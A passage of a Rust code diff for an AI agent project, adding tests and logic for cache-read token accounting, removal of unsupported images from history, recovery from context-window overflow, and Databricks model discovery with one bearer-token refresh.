Option) -> UsageUpdatePayload { @@ -402,7 +465,7 @@ mod tests { context_limit: 200_000, accumulated_input_tokens: input, accumulated_output_tokens: output, - accumulated_cached_input_tokens: 0, + accumulated_cached_input_tokens: None, accumulated_cost: cost, accumulated_total_tokens: None, model: None, @@ -415,7 +478,7 @@ mod tests { context_limit: 0, accumulated_input_tokens: input, accumulated_output_tokens: output, - accumulated_cached_input_tokens: 0, + accumulated_cached_input_tokens: None, accumulated_cost: cost, accumulated_total_tokens: None, model: None, @@ -913,7 +976,7 @@ mod tests { context_limit: 200_000, accumulated_input_tokens: input, accumulated_output_tokens: output, - accumulated_cached_input_tokens: 0, + accumulated_cached_input_tokens: None, accumulated_cost: cost, accumulated_total_tokens: None, model: model.map(str::to_string), @@ -977,7 +1040,7 @@ mod tests { context_limit: 200_000, accumulated_input_tokens: input, accumulated_output_tokens: output, - accumulated_cached_input_tokens: 0, + accumulated_cached_input_tokens: None, accumulated_cost: None, accumulated_total_tokens: total, model: None, @@ -1132,4 +1195,320 @@ mod tests { ); assert_eq!(usage.cumulative_total_tokens, Some(250)); } + + // ── cache-read token threading ────────────────────────────────────────── + + fn payload_with_cache( + input: u64, + output: u64, + cached_input: Option, + ) -> UsageUpdatePayload { + UsageUpdatePayload { + used: input + output, + context_limit: 200_000, + accumulated_input_tokens: input, + accumulated_output_tokens: output, + accumulated_cached_input_tokens: cached_input, + accumulated_cost: None, + accumulated_total_tokens: None, + model: None, + } + } + + #[test] + fn cache_read_first_turn_produces_none_turn_delta_and_passes_cumulative_through() { + // First turn has no baseline → turn cache delta must be None, but + // cumulative_cache_read_tokens must carry the reported value through. + let mut tracker = UsageTracker::default(); + tracker.begin_turn("sess-c1"); + tracker.record("sess-c1", &payload_with_cache(1000, 200, Some(500))); + let usage = tracker.take().expect("pending"); + + assert!( + usage.turn_cache_read_tokens.is_none(), + "first turn: no baseline → cache delta must be None" + ); + assert_eq!( + usage.cumulative_cache_read_tokens, + Some(500), + "cumulative cache read passes through on first turn" + ); + assert!(!usage.delta_reliable, "first turn is unreliable"); + } + + #[test] + fn cache_read_second_turn_delta_computed_correctly() { + // Second turn: cumulative cached 500 → 1200, delta = 700. + let mut tracker = UsageTracker::default(); + tracker.begin_turn("sess-c2"); + tracker.record("sess-c2", &payload_with_cache(1000, 200, Some(500))); + let _ = tracker.take(); + + tracker.begin_turn("sess-c2"); + tracker.record("sess-c2", &payload_with_cache(2000, 350, Some(1200))); + let usage = tracker.take().expect("pending"); + + assert!(usage.delta_reliable); + assert_eq!( + usage.turn_cache_read_tokens, + Some(700), + "cache delta = 1200 - 500 = 700" + ); + assert_eq!( + usage.cumulative_cache_read_tokens, + Some(1200), + "cumulative cache passes through" + ); + } + + #[test] + fn cache_read_decrease_nulls_turn_cache_but_leaves_delta_reliable() { + // Cache counter decrease → cache delta None (field-local taint), but + // delta_reliable and input/output deltas are NOT affected. + let mut tracker = UsageTracker::default(); + tracker.begin_turn("sess-c3"); + tracker.record("sess-c3", &payload_with_cache(1000, 200, Some(800))); + let _ = tracker.take(); + + tracker.begin_turn("sess-c3"); + // Cache counter decreased: 800 → 50. + tracker.record("sess-c3", &payload_with_cache(1500, 300, Some(50))); + let usage = tracker.take().expect("pending"); + + assert!( + usage.delta_reliable, + "cache decrease must NOT flip delta_reliable — field-local" + ); + assert_eq!( + usage.turn_input_tokens, + Some(500), + "input/output delta unaffected by cache decrease" + ); + assert_eq!(usage.turn_output_tokens, Some(100)); + assert!( + usage.turn_cache_read_tokens.is_none(), + "cache counter decrease → turn_cache_read_tokens None (field-local taint)" + ); + assert_eq!( + usage.cumulative_cache_read_tokens, + Some(50), + "cumulative still passes through from payload even on decrease" + ); + } + + #[test] + fn cache_read_explicit_zero_payload_after_explicit_zero_baseline_produces_some_zero_delta() { + // When both baseline and current are Some(0), turn_cache_read_tokens must + // be Some(0) — confirmed zero, not absent. + let mut tracker = UsageTracker::default(); + tracker.begin_turn("sess-c4"); + tracker.record("sess-c4", &payload_with_cache(1000, 200, Some(0))); + let _ = tracker.take(); + + tracker.begin_turn("sess-c4"); + tracker.record("sess-c4", &payload_with_cache(1500, 300, Some(0))); + let usage = tracker.take().expect("pending"); + + assert!(usage.delta_reliable); + assert_eq!( + usage.turn_cache_read_tokens, + Some(0), + "explicit zero on both sides → Some(0), not None" + ); + assert_eq!(usage.cumulative_cache_read_tokens, Some(0)); + } + + #[test] + fn cache_read_threads_through_setup_notification_baseline() { + // A setup notification (before begin_turn) with a nonzero cache count + // must update the committed baseline so the first real turn gets a + // correct delta from that starting point. + let mut tracker = UsageTracker::default(); + + // Setup notification: cumulative cache = 300. + tracker.record("sess-c5", &payload_with_cache(1000, 200, Some(300))); + + tracker.begin_turn("sess-c5"); + tracker.record("sess-c5", &payload_with_cache(1500, 350, Some(700))); + let usage = tracker.take().expect("pending"); + + assert!(usage.delta_reliable, "baseline from setup: reliable"); + assert_eq!( + usage.turn_cache_read_tokens, + Some(400), + "cache delta from setup baseline: 700 - 300 = 400" + ); + assert_eq!(usage.cumulative_cache_read_tokens, Some(700)); + } + + #[test] + fn cache_read_omitted_field_produces_none_cumulative_and_no_turn_delta() { + // A harness that omits accumulatedCachedInputTokens (e.g. goose) must + // produce None cumulative_cache_read_tokens — not Some(0) — and the + // turn delta must also be None even on the second turn. + let mut tracker = UsageTracker::default(); + tracker.begin_turn("sess-c6"); + // payload() uses None for accumulated_cached_input_tokens. + tracker.record("sess-c6", &payload(1000, 200, None)); + let t1 = tracker.take().expect("turn 1"); + + assert!( + t1.cumulative_cache_read_tokens.is_none(), + "goose-shaped payload: cumulative must be None, not Some(0)" + ); + assert!( + t1.turn_cache_read_tokens.is_none(), + "first turn always has no turn delta" + ); + + tracker.begin_turn("sess-c6"); + tracker.record("sess-c6", &payload(1500, 300, None)); + let t2 = tracker.take().expect("turn 2"); + + assert!( + t2.cumulative_cache_read_tokens.is_none(), + "continued goose session: cumulative must remain None" + ); + assert!( + t2.turn_cache_read_tokens.is_none(), + "absent field on both sides → no turn delta invented" + ); + assert!( + t2.delta_reliable, + "input/output reliability unaffected by absent cache field" + ); + } + + #[test] + fn cache_read_baseline_absent_then_present_produces_no_delta() { + // If the first turn omits the cache field (baseline stored as None) and + // the second turn reports a value, no delta can be computed — we have no + // baseline to subtract from. The cumulative value should still pass through. + let mut tracker = UsageTracker::default(); + tracker.begin_turn("sess-c7"); + tracker.record("sess-c7", &payload(1000, 200, None)); // no cache field + let _ = tracker.take(); + + tracker.begin_turn("sess-c7"); + tracker.record("sess-c7", &payload_with_cache(1500, 300, Some(400))); + let usage = tracker.take().expect("turn 2"); + + assert!( + usage.turn_cache_read_tokens.is_none(), + "absent baseline → no turn delta even when current has a value" + ); + assert_eq!( + usage.cumulative_cache_read_tokens, + Some(400), + "cumulative from current payload passes through" + ); + assert!(usage.delta_reliable, "input/output reliability unaffected"); + } + + #[test] + fn cache_read_baseline_present_then_absent_produces_no_delta() { + // If the first turn reports the cache field but the second omits it + // (harness switched), no delta should be produced and cumulative is None. + let mut tracker = UsageTracker::default(); + tracker.begin_turn("sess-c8"); + tracker.record("sess-c8", &payload_with_cache(1000, 200, Some(300))); + let _ = tracker.take(); + + tracker.begin_turn("sess-c8"); + tracker.record("sess-c8", &payload(1500, 300, None)); // no cache field + let usage = tracker.take().expect("turn 2"); + + assert!( + usage.turn_cache_read_tokens.is_none(), + "absent current → no turn delta" + ); + assert!( + usage.cumulative_cache_read_tokens.is_none(), + "absent field: cumulative must be None" + ); + assert!(usage.delta_reliable, "input/output reliability unaffected"); + } + + #[test] + fn pool_omitted_cache_field_publishes_no_cache_read_tokens_in_kind44200() { + // End-to-end: a buzz-agent or goose payload that omits the cache field + // must NOT publish cacheReadTokens in the kind:44200 event — neither + // in turn nor cumulative counts. + // + // This is the core acceptance test for Thufir's finding: the old code + // would publish cacheReadTokens: 0 for every harness regardless of + // whether the field was reported. + use crate::pool::build_turn_metric_counts; + + let usage = TurnUsage { + session_id: "sess-pool-none".into(), + turn_seq: 2, + delta_reliable: true, + turn_input_tokens: Some(400), + turn_output_tokens: Some(100), + turn_total_tokens: None, + turn_cost_usd: None, + turn_cache_read_tokens: None, + cumulative_input_tokens: 700, + cumulative_output_tokens: 200, + cumulative_total_tokens: None, + cumulative_cost_usd: None, + cumulative_cache_read_tokens: None, // harness did not report the field + model: None, + }; + + let (turn_counts, cumulative_counts) = build_turn_metric_counts(&usage); + + let turn = turn_counts.expect("turn counts must be present (delta reliable)"); + assert!( + turn.cache_read_tokens.is_none(), + "omitted cache field: turn cacheReadTokens must be absent from kind:44200" + ); + + let cumulative = cumulative_counts.expect("cumulative counts always present"); + assert!( + cumulative.cache_read_tokens.is_none(), + "omitted cache field: cumulative cacheReadTokens must be absent from kind:44200" + ); + } + + #[test] + fn pool_reported_cache_field_publishes_nonzero_cache_read_tokens_in_kind44200() { + // End-to-end: a buzz-agent payload with a nonzero cache count must + // publish cacheReadTokens in both turn and cumulative counts. + use crate::pool::build_turn_metric_counts; + + let usage = TurnUsage { + session_id: "sess-pool-some".into(), + turn_seq: 2, + delta_reliable: true, + turn_input_tokens: Some(400), + turn_output_tokens: Some(100), + turn_total_tokens: None, + turn_cost_usd: None, + turn_cache_read_tokens: Some(300), + cumulative_input_tokens: 700, + cumulative_output_tokens: 200, + cumulative_total_tokens: None, + cumulative_cost_usd: None, + cumulative_cache_read_tokens: Some(600), + model: None, + }; + + let (turn_counts, cumulative_counts) = build_turn_metric_counts(&usage); + + let turn = turn_counts.expect("turn counts present"); + assert_eq!( + turn.cache_read_tokens, + Some(300), + "nonzero turn cache: must appear in kind:44200 turn counts" + ); + + let cumulative = cumulative_counts.expect("cumulative counts present"); + assert_eq!( + cumulative.cache_read_tokens, + Some(600), + "nonzero cumulative cache: must appear in kind:44200 cumulative counts" + ); + } } diff --git a/crates/buzz-agent/src/agent.rs b/crates/buzz-agent/src/agent.rs index 8e14fee195..054c334405 100644 --- a/crates/buzz-agent/src/agent.rs +++ b/crates/buzz-agent/src/agent.rs @@ -6,21 +6,49 @@ use tokio::task::JoinSet; use crate::builtin; use crate::config::{Config, MAX_PROMPT_BYTES, MAX_TOOL_CALLS_PER_TURN, MAX_TOOL_RESULT_BYTES}; -use crate::handoff::HandoffOutcome; +use crate::handoff::{ContextRecovery, HandoffOutcome}; use crate::hints::SkillEntry; use crate::llm::Llm; use crate::mcp::McpRegistry; use crate::mcp::ResultBudget; use crate::types::{ - AgentError, ContentBlock, HistoryItem, ProviderStop, StopReason, ToolCall, ToolResult, - ToolResultContent, TurnTotalState, + AgentError, ContentBlock, HistoryItem, ProviderStop, SessionUsageBaseline, StopReason, + ToolCall, ToolResult, ToolResultContent, TurnTotalState, }; use crate::wire::{self, WireSender}; const ERROR_REFLECTION_SUFFIX: &str = "\n\n[Reflect] Before retrying, identify the cause and change your approach."; +const UNSUPPORTED_IMAGE_TOOL_MESSAGE: &str = "The current model does not support image input. The image was removed from conversation history so this turn can continue. Use a text-based inspection tool or ask the user for a textual description instead."; + +/// Remove image blocks that the provider has explicitly rejected while keeping +/// their surrounding tool result (and therefore the tool-call/result pairing) +/// intact. Returns the number of images removed; zero means the provider error +/// cannot be safely recovered by mutating history. +fn replace_unsupported_images(history: &mut [HistoryItem]) -> usize { + let mut replaced = 0; + for item in history { + let HistoryItem::ToolResult(result) = item else { + continue; + }; + let before = result.content.len(); + result + .content + .retain(|content| !matches!(content, ToolResultContent::Image { .. })); + let removed = before - result.content.len(); + if removed > 0 { + replaced += removed; + result.is_error = true; + result.content.push(ToolResultContent::Text( + UNSUPPORTED_IMAGE_TOOL_MESSAGE.to_string(), + )); + } + } + replaced +} + /// Maximum reply reminders emitted per prompt when `require_reply` is on. /// /// After this many, the turn is allowed to end whether or not anything was @@ -150,9 +178,40 @@ pub struct RunCtx<'a> { /// Reset to `Unseen` at turn start in `run()`. Callers must not derive a /// total by summing input+output — that is the UI display approximation only. pub turn_total_state: &'a mut TurnTotalState, + /// Session-cumulative counters as they stood when this turn began. Added to + /// the `turn_*` accumulators above to report a cumulative figure mid-turn; + /// the session's own copy is only advanced once, after the turn returns. + pub usage_baseline: SessionUsageBaseline, } impl RunCtx<'_> { + /// Send a session-cumulative `usage_update` reflecting everything observed + /// up to and including the most recent LLM response. + /// + /// The figure is the turn-start baseline plus this turn's running + /// accumulators, which is exactly what `session/prompt` will fold into the + /// session once the turn returns — so a mid-turn notification and the + /// end-of-turn one agree, and a turn that never returns has still reported + /// everything but its final in-flight request. + async fn emit_usage_update(&self) { + let base = self.usage_baseline; + let payload = wire::usage_update_payload( + base.input_tokens + .saturating_add(self.turn_input_tokens.unwrap_or(0)), + base.output_tokens + .saturating_add(self.turn_output_tokens.unwrap_or(0)), + base.cached_input_tokens + .saturating_add(self.turn_cached_input_tokens.unwrap_or(0)), + base.total_state.merge_session(*self.turn_total_state), + self.effective_model, + ); + wire::send( + self.wire, + wire::goose_session_update(self.session_id, payload), + ) + .await; + } + pub async fn run(&mut self, prompt: Vec) -> Result { let user_text = prompt_to_text(prompt)?; if user_text.len() > MAX_PROMPT_BYTES { @@ -170,6 +229,14 @@ impl RunCtx<'_> { *self.turn_output_tokens = None; *self.turn_cached_input_tokens = None; *self.turn_total_state = TurnTotalState::Unseen; + // Per-turn handoff-attempt counter. Scoped here (not persisted in the + // session) so `BUZZ_AGENT_MAX_HANDOFFS` bounds compactions per + // `session/prompt` turn rather than per session lifetime. A + // long-lived session legitimately needs unbounded handoffs across + // prompts; the cap only exists to stop runaway within a single turn. + // The session-cumulative `handoff_count` (used in log lines) is not + // reset: it reflects total compactions since session start. + let mut handoff_attempts: usize = 0; let mut round = 0u32; // Per-prompt `_Stop` objection count. Bounded per prompt (not per @@ -184,6 +251,10 @@ impl RunCtx<'_> { // successful publish. See `is_buzz_reply_call`. let mut buzz_reply_call_seen = false; let mut reply_nags = 0u32; + // Per-`run()` reactive context-recovery budget. Per-turn, not + // per-session: a fresh prompt deserves a fresh chance to recover, and + // `max_rounds` defaults to 0 (unbounded) so it cannot bound this. + let mut context_recoveries = 0u32; loop { if self.cfg.max_rounds > 0 && round >= self.cfg.max_rounds { return Ok(StopReason::MaxTurnRequests); @@ -196,7 +267,7 @@ impl RunCtx<'_> { // its next request — the turn continues, it is not restarted. Drain // non-blocking; an empty queue is the common case. self.drain_steers(); - match self.maybe_handoff().await { + match self.maybe_handoff(&mut handoff_attempts).await { HandoffOutcome::Cancelled => return Ok(StopReason::Cancelled), // Context was just reset — the prior request's token count no // longer describes the (now much smaller) history. Clear both @@ -218,10 +289,10 @@ impl RunCtx<'_> { tools.push(builtin::load_skill_def()); } round = round.saturating_add(1); - let response = tokio::select! { + let response_result = tokio::select! { biased; _ = self.cancel.changed() => return Ok(StopReason::Cancelled), - r = self.llm.complete(self.cfg, self.system_prompt, self.history, &tools, self.effective_model) => r?, + r = self.llm.complete(self.cfg, self.system_prompt, self.history, &tools, self.effective_model) => r, _ = async { // Keepalive ticker: emit a lightweight session update every 30s // while waiting on the LLM provider. This resets the ACP harness @@ -244,7 +315,78 @@ impl RunCtx<'_> { } } => unreachable!(), }; - + let response = match response_result { + Ok(response) => response, + Err(AgentError::UnsupportedImageInput(detail)) => { + let removed = replace_unsupported_images(self.history); + if removed == 0 { + return Err(AgentError::UnsupportedImageInput(detail)); + } + tracing::warn!( + model = self.effective_model, + removed_images = removed, + "provider rejected image input; removed images from history and continuing turn" + ); + continue; + } + // Reactive context recovery. A context-window 400 is the only + // ground-truth signal that history must shrink, and it arrives + // exactly when the proactive gate cannot act: a failed request + // reports no usage, so `last_request_input_tokens` stays frozen + // at the last SUCCESSFUL (sub-threshold) reading and + // `should_handoff()` returns false forever. Without this arm the + // error propagates out of `run()`, the in-memory session keeps + // the same oversized history, and every later prompt in that + // session fails the same way — a stick that persists across + // turns for the life of the session. (Restarting the agent DOES + // clear it: history lives only in the in-memory session map, so + // a restart is the manual workaround, not an exception to it.) + // + // Retried in-loop rather than returned so the recovered context + // continues the turn the user is waiting on. + Err(AgentError::LlmContextExceeded(e)) => { + match self + .recover_from_context_overflow(&mut context_recoveries) + .await + { + ContextRecovery::Recovered => { + // Refund the round the rejected request consumed. + // `round` is incremented before `complete()`, so + // without this a finite `max_rounds` is spent by a + // request the provider refused to serve: the loop + // would re-enter, hit the cap at the top, and return + // `MaxTurnRequests` having destroyed history and + // never asked the model again — a worse outcome than + // the error it replaced. + // + // This cannot become an unbounded amnesty: refunds + // happen only on a *successful* recovery, and + // recoveries are independently capped by + // `MAX_CONTEXT_RECOVERIES_PER_RUN`, so at most that + // many rounds can ever be refunded in one turn. An + // ordinary round is never refunded. + round = round.saturating_sub(1); + // Same reset as the proactive path (see + // `HandoffOutcome::Performed` above): the frozen + // token reading describes history that no longer + // exists. Clearing it is what lets the gate work + // again on later rounds. + *self.last_request_input_tokens = None; + *self.last_request_history_bytes = None; + continue; + } + ContextRecovery::Cancelled => return Ok(StopReason::Cancelled), + // No rescue left. Surface the provider's own error + // rather than a synthetic one: it names the model and + // the offending sizes, and a visible failure is the + // point — the alternative is retrying forever. + ContextRecovery::Exhausted => { + return Err(AgentError::LlmContextExceeded(e)) + } + } + } + Err(error) => return Err(error), + }; // Record provider-reported input usage so the next loop iteration's // handoff gate can compare it against the token budget. We capture // it together with the history byte size AT THIS MOMENT — which is @@ -299,6 +441,23 @@ impl RunCtx<'_> { // this gate rather than representing absent categories as zero. if response.input_tokens.is_some() || response.output_tokens.is_some() { *self.turn_total_state = self.turn_total_state.fold(response.total_tokens); + // Report what the turn has burned SO FAR, before running the + // next round. A turn is many provider round-trips over many + // minutes, and until this point the only report was the one + // `session/prompt` sends after the turn returns — so a turn + // that was cancelled, timed out, or whose process was killed + // reported nothing at all, and its tokens (already billed) + // existed only in this stack frame. Reporting per round bounds + // the loss to the single request in flight. + // + // Emitting more than one `usage_update` per turn is expected by + // the consumer: buzz-acp's UsageTracker advances its committed + // baseline only when the turn's metric is published, so every + // notification within a turn measures from the same frozen + // baseline and the last one seen is the turn's true total. + // goose behaves the same way, which is why the tracker was + // written to tolerate it. + self.emit_usage_update().await; } if !response.reasoning.is_empty() { @@ -897,6 +1056,66 @@ mod tests { use super::*; use serde_json::json; + /// `truncate_history` cannot serve as the context-window fallback: it is + /// measured in BYTES (`max_history_bytes`, default 16 MiB, a request-body + /// limiter) while the thing the fallback must defend is a TOKEN window + /// (`max_context_tokens`, default 200k). A history large enough to blow a + /// 200k-token window is nowhere near 16 MiB, so at the default budget the + /// fallback evicts nothing at all — which is why the `Skipped -> + /// truncate_history` path left the agent permanently stuck and the reactive + /// ladder had to be built instead. + /// + /// The negative assertion is paired with a positive control (same helper, + /// same fixture, budget set to the window instead) so that "evicted + /// nothing" is a real observation about the unit mismatch rather than a + /// blind probe that could never evict. + #[test] + fn truncate_history_is_a_noop_at_context_window_scale() { + // ~800 KB of history. At any real bytes/token density (densest real + // content is ~1.4 B/tok, typical prose ~3-4) this is >= 200k tokens, + // i.e. already over a 200k window. + let mut history: Vec = Vec::new(); + for i in 0..400 { + history.push(HistoryItem::User(format!("q{i} {}", "x".repeat(1000)))); + history.push(HistoryItem::Assistant { + text: format!("a{i} {}", "y".repeat(1000)), + tool_calls: vec![], + reasoning_details: None, + }); + } + let total: usize = history.iter().map(HistoryItem::estimated_bytes).sum(); + let pressure: usize = history + .iter() + .map(HistoryItem::context_pressure_bytes) + .sum(); + assert!( + total > 800_000, + "fixture must be big enough to exceed a 200k-token window, got {total}" + ); + + // NEGATIVE: the real configured default budget. + let default_budget = 16 * 1024 * 1024; + let mut under_default = history.clone(); + truncate_history(&mut under_default, default_budget); + assert_eq!( + under_default.len(), + history.len(), + "16 MiB byte budget evicted nothing from a {total}-byte history \ + (pressure {pressure}) that already exceeds a 200k-token window" + ); + + // POSITIVE CONTROL: same helper, same fixture, budget set to the + // window instead. If this also evicted nothing the assertion above + // would prove nothing about the unit mismatch -- it would just mean + // the probe is blind. + let mut under_window = history.clone(); + truncate_history(&mut under_window, 200_000); + assert!( + under_window.len() < history.len(), + "positive control must evict: probe is blind otherwise" + ); + } + /// The shapes the guard must recognize as a publish attempt. Callers apply /// the registry checks first; these cover the name suffix and command text. #[test] @@ -1027,6 +1246,47 @@ mod tests { assert!(total_after <= max_bytes); } + #[test] + fn unsupported_images_become_recoverable_tool_errors() { + let mut history = vec![ + HistoryItem::Assistant { + text: String::new(), + tool_calls: vec![ToolCall { + provider_id: "call-image".into(), + name: "dev__view_image".into(), + arguments: json!({ "source": "spec.png" }), + provider_extra: Default::default(), + }], + reasoning_details: None, + }, + HistoryItem::ToolResult(ToolResult { + provider_id: "call-image".into(), + content: vec![ + ToolResultContent::Text("10x10 image from spec.png".into()), + ToolResultContent::Image { + data: "aW1n".into(), + mime_type: "image/png".into(), + }, + ], + is_error: false, + }), + ]; + + assert_eq!(replace_unsupported_images(&mut history), 1); + let HistoryItem::ToolResult(result) = &history[1] else { + panic!("tool result must stay paired with the assistant tool call"); + }; + assert_eq!(result.provider_id, "call-image"); + assert!(result.is_error); + assert!(result + .content + .iter() + .all(|content| !matches!(content, ToolResultContent::Image { .. }))); + assert!(result.text().contains("does not support image input")); + assert!(result.text().contains("10x10 image from spec.png")); + assert_eq!(replace_unsupported_images(&mut history), 0); + } + #[test] fn truncate_history_noop_when_under_budget() { let mut history = vec![ diff --git a/crates/buzz-agent/src/catalog.rs b/crates/buzz-agent/src/catalog.rs index aa2a121c99..0aaa2da7ea 100644 --- a/crates/buzz-agent/src/catalog.rs +++ b/crates/buzz-agent/src/catalog.rs @@ -7,12 +7,17 @@ //! //! - Static bearer (`DATABRICKS_TOKEN`): returned immediately. //! - PKCE cache hit: returned from disk without a network round-trip. -//! - PKCE cache empty / no token: returns `Err(AgentError::LlmAuth)` — the -//! caller degrades gracefully; no browser, no hang. +//! - PKCE cache empty / no token: returns `Err(AgentError::LlmAuth)`. +//! +//! This helper never opens a browser. Callers choose whether to reject, degrade, +//! or start a separate interactive authentication flow. + +use std::sync::Arc; use reqwest::Client; use crate::{ + auth::TokenSource, config::{Config, Provider}, llm::build_token_source, types::AgentError, @@ -26,57 +31,22 @@ pub struct ModelEntry { pub name: String, } -/// Known Databricks AI Gateway v2 models — used as a fallback when the -/// `api/ai-gateway/v2/endpoints` call returns an empty list. +/// Known Databricks AI Gateway v2 models — used only when an authenticated +/// `api/ai-gateway/v2/endpoints` call succeeds with an empty list. /// Mirrors goose's `DATABRICKS_V2_KNOWN_MODELS`. pub const DATABRICKS_V2_KNOWN_MODELS: &[&str] = &["databricks-gpt-5-5", "databricks-claude-opus-4-7"]; -/// Returns the discovery-failure fallback catalog for a Databricks provider. -/// -/// This is the list of models advertised by `session/new` when -/// `discover_databricks_models` returns an error (e.g., no token available). -/// -/// - `DatabricksV2` falls back to the configured model plus -/// [`DATABRICKS_V2_KNOWN_MODELS`] so the model-picker is always populated for -/// AI Gateway v2 users. The configured model leads: without it a fallback -/// catalog can omit the very model the agent is running, leaving the picker -/// unable to represent the current selection. -/// - Legacy `Databricks` falls back to only the configured model — the -/// `DATABRICKS_V2_KNOWN_MODELS` IDs are AI Gateway v2 endpoints that the -/// `/serving-endpoints/{model}/invocations` API may not serve. -/// -/// Extracting this as a pure function makes the split testable without -/// spawning an async runtime or making network calls. -pub fn discovery_failure_fallback(provider: Provider, configured_model: &str) -> Vec { - // `resolve_model` does not trim, so a padded `DATABRICKS_MODEL` reaches here: - // normalize once, or the dedupe below misses and the picker lists the model - // twice (once padded, once from the known slate). - let configured_model = configured_model.trim(); - let configured = ModelEntry { - id: configured_model.to_string(), - name: configured_model.to_string(), - }; - match provider { - Provider::DatabricksV2 => { - let mut entries = Vec::with_capacity(DATABRICKS_V2_KNOWN_MODELS.len() + 1); - if !configured_model.is_empty() { - entries.push(configured); - } - entries.extend( - DATABRICKS_V2_KNOWN_MODELS - .iter() - .filter(|id| **id != configured_model) - .map(|id| ModelEntry { - id: id.to_string(), - name: id.to_string(), - }), - ); - entries - } - Provider::Databricks => vec![configured], - _ => vec![configured], - } +const AUTHENTICATED_EMPTY_CATALOG_SUFFIX: &str = " (default catalog)"; + +fn authenticated_empty_v2_catalog() -> Vec { + DATABRICKS_V2_KNOWN_MODELS + .iter() + .map(|id| ModelEntry { + id: id.to_string(), + name: format!("{id}{AUTHENTICATED_EMPTY_CATALOG_SUFFIX}"), + }) + .collect() } /// Heuristic: `true` when a v2 AI Gateway endpoint name looks like it serves @@ -109,23 +79,47 @@ pub(crate) fn is_chat_capable_endpoint(name: &str) -> bool { /// /// Returns a non-empty `Vec` on success. Returns /// `Err(AgentError::LlmAuth)` when no token is available (no static token, -/// no PKCE cache) — callers should degrade gracefully rather than hanging. +/// no PKCE cache). The helper itself never starts interactive authentication. /// /// # Panics /// Never panics. pub async fn discover_databricks_models(cfg: &Config) -> Result, AgentError> { - let token_source = build_token_source(cfg)?; - let bearer = token_source.bearer_no_browser().await?; + discover_databricks_models_with_token_source(cfg, build_token_source(cfg)?).await +} +async fn discover_databricks_models_with_token_source( + cfg: &Config, + token_source: Arc, +) -> Result, AgentError> { + let mut bearer = token_source.bearer_no_browser().await?; let http = Client::new(); let host = cfg.base_url.trim_end_matches('/'); + let mut refreshed = false; + + loop { + let result = match cfg.provider { + Provider::Databricks => fetch_v1_models(&http, host, &bearer).await, + Provider::DatabricksV2 => fetch_v2_models(&http, host, &bearer).await, + _ => { + return Err(AgentError::InvalidParams( + "discover_databricks_models called for non-Databricks provider".into(), + )); + } + }; - match cfg.provider { - Provider::Databricks => fetch_v1_models(&http, host, &bearer).await, - Provider::DatabricksV2 => fetch_v2_models(&http, host, &bearer).await, - _ => Err(AgentError::InvalidParams( - "discover_databricks_models called for non-Databricks provider".into(), - )), + match result { + Err(AgentError::LlmAuth(_)) if !refreshed => { + refreshed = true; + let fresh = token_source.refresh_now(&bearer).await?; + if fresh == bearer { + return Err(AgentError::LlmAuth( + "Databricks rejected the configured credential".into(), + )); + } + bearer = fresh; + } + result => return result, + } } } @@ -149,6 +143,11 @@ async fn fetch_v1_models( let status = response.status(); if !status.is_success() { let body = response.text().await.unwrap_or_default(); + if status.as_u16() == 401 { + return Err(AgentError::LlmAuth(format!( + "Databricks model discovery HTTP {status}" + ))); + } return Err(AgentError::Llm(format!( "Databricks model discovery HTTP {status}: {body}" ))); @@ -264,6 +263,11 @@ async fn fetch_v2_models( let status = response.status(); if !status.is_success() { let body = response.text().await.unwrap_or_default(); + if status.as_u16() == 401 { + return Err(AgentError::LlmAuth(format!( + "Databricks v2 model discovery HTTP {status}" + ))); + } return Err(AgentError::Llm(format!( "Databricks v2 model discovery HTTP {status}: {body}" ))); @@ -286,13 +290,7 @@ async fn fetch_v2_models( // Fall back to known-model list if the API returned nothing. if all_endpoints.is_empty() { - return Ok(DATABRICKS_V2_KNOWN_MODELS - .iter() - .map(|id| ModelEntry { - id: id.to_string(), - name: id.to_string(), - }) - .collect()); + return Ok(authenticated_empty_v2_catalog()); } sort_v2_endpoints_newest_first(&mut all_endpoints); @@ -396,6 +394,77 @@ pub(crate) fn parse_v2_endpoints_page( #[cfg(test)] mod tests { use super::*; + use async_trait::async_trait; + use std::sync::atomic::{AtomicUsize, Ordering}; + + struct RefreshingTestTokenSource { + refreshes: AtomicUsize, + } + + #[async_trait] + impl TokenSource for RefreshingTestTokenSource { + async fn bearer(&self) -> Result { + Ok("rejected".into()) + } + + async fn refresh_now(&self, rejected: &str) -> Result { + assert_eq!(rejected, "rejected"); + self.refreshes.fetch_add(1, Ordering::SeqCst); + Ok("fresh".into()) + } + } + + #[tokio::test] + async fn discovery_refreshes_rejected_bearer_once_then_retries_successfully() { + use axum::{ + extract::Query, + http::{HeaderMap, StatusCode}, + routing::get, + Json, Router, + }; + use std::collections::HashMap; + + let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let host = format!("http://{}", listener.local_addr().unwrap()); + let requests = Arc::new(AtomicUsize::new(0)); + let requests_for_route = requests.clone(); + let app = Router::new().route( + "/api/ai-gateway/v2/endpoints", + get( + move |headers: HeaderMap, Query(_query): Query>| { + let requests = requests_for_route.clone(); + async move { + requests.fetch_add(1, Ordering::SeqCst); + match headers + .get("authorization") + .and_then(|value| value.to_str().ok()) + { + Some("Bearer fresh") => Ok(Json(serde_json::json!({ + "endpoints": [{"name": "discovered-model"}], + "next_page_token": null, + }))), + _ => Err((StatusCode::UNAUTHORIZED, "rejected")), + } + } + }, + ), + ); + tokio::spawn(async move { + let _ = axum::serve(listener, app).await; + }); + + let source = Arc::new(RefreshingTestTokenSource { + refreshes: AtomicUsize::new(0), + }); + let cfg = Config::for_discovery(Provider::DatabricksV2, String::new(), host); + let models = discover_databricks_models_with_token_source(&cfg, source.clone()) + .await + .unwrap(); + + assert_eq!(models[0].id, "discovered-model"); + assert_eq!(source.refreshes.load(Ordering::SeqCst), 1); + assert_eq!(requests.load(Ordering::SeqCst), 2); + } #[test] fn v1_parse_filters_ready_chat_endpoints() { @@ -574,6 +643,17 @@ mod tests { ); } + #[test] + fn authenticated_empty_v2_catalog_marks_fallback_provenance() { + let models = authenticated_empty_v2_catalog(); + let ids: Vec<&str> = models.iter().map(|model| model.id.as_str()).collect(); + + assert_eq!(ids, DATABRICKS_V2_KNOWN_MODELS); + assert!(models.iter().all(|model| { + model.name == format!("{}{AUTHENTICATED_EMPTY_CATALOG_SUFFIX}", model.id) + })); + } + #[test] fn is_chat_capable_endpoint_keeps_unrecognised_names() { // Prefer including over silently dropping — an unknown family is kept. @@ -585,47 +665,4 @@ mod tests { assert!(!is_chat_capable_endpoint("databricks-gte-large-en")); assert!(!is_chat_capable_endpoint("databricks-qwen3-embedding-0-6b")); } - - #[test] - fn 